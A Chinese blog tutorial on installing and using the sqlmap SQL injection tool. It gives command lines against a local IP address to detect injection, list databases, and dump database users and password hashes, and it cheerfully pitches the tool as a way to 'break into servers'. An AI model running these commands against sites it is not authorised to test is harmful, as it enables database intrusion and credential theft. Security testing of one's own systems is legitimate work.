python的sql注入工具sqlmap,渗透利器!
最近小编在测试网站的安全性,所以调研了很多渗透服务器的工具,今天给大家详情一下sql注入的工具,来让少量小白也可以体验到攻破服务器的快感,进行少量安全方面的测试。
之前的文章已经给大家讲解过xss工具的使用,今天主要详情一个sql注入工具,sqlmap,也是一款神器。
首先给大家普及一下sql注入是什么:
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或者输入域名或者页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后端数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者用意去执行SQL语句。[1] 比方先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
这就是sql注入了,假如网站有这方面的问题,一般都比较严重,基本你的数据库就完蛋了,所有数据都被盗走。
现在中国的大部分互联网公司,在研发过程中都是请不起专门的安全测试人员的,很多都是让普通的测试肉测,肉测的话其实很考验测试人员构造sql的能力,所以今天的这款工具,来帮助大家完成sql注入的安全测试。
安装:
大家可以直接去git 上下载一个安装包 https://github.com/sqlmapproject/sqlmap
但是git上面更推荐用源码方式,
1、首先还是先创立虚拟环境,养成好习惯,不要污染系统:
conda create -n sqlmap python=2.7
注意只支持py2
2、下载源码:
git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
源码下载以后就不用安装了,直接 cd sqlmap-dev 即可以看见里面有
其中里面的sqlmap.py 就主程序员文件了,到此就安装完了,很简单!
使用:
1、通过python sqlmap.py -h 可以查看所有的参数帮助信息:
支持的功能很多,这里筛选少量主要的讲一下。
2、对一个url进行sql注入,小编就不拿自己的网站了,爆出个漏洞多丢人,搭个本地的吧。
python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –batch
里面会自动检测你数据库的版本,很 准!即便没有漏洞也可以挖到很多网站的内部信息。
3、暴库,可以对一个url链接进行暴库,加上–dbs参数。
python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –dbs
看见没有,可以把你的数据库名字爆出来,多猛!
4、查看当前库,加上–current-db参数。
python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –current-db
5、查看数据库的使用客户以及密码,基本就是盗号了,盗数据库的号,加-current-user和–passwords:
python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –current-user
python sqlmap.py -u “http://192.168.1.150/products.asp?id=134” –passwords
6、除了这些还可以爆出数据库的所有数据库字段,所有数据库表,所有数据库。
基本你的数据库就被人端了!!哈哈,快测测自己的网站吧。
就详情到这里啦!欢迎关注小编,后续有更多的小白工具哦。
码子不易!!欢迎关注博客。
禁止转载,现在盗版太严重,无语了。
1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是摆设,本站源码仅提供给会员学习使用!
7. 如遇到加密压缩包,请使用360解压,如遇到无法解压的请联系管理员
开心源码网 » python的sql注入工具sqlmap,渗透利器!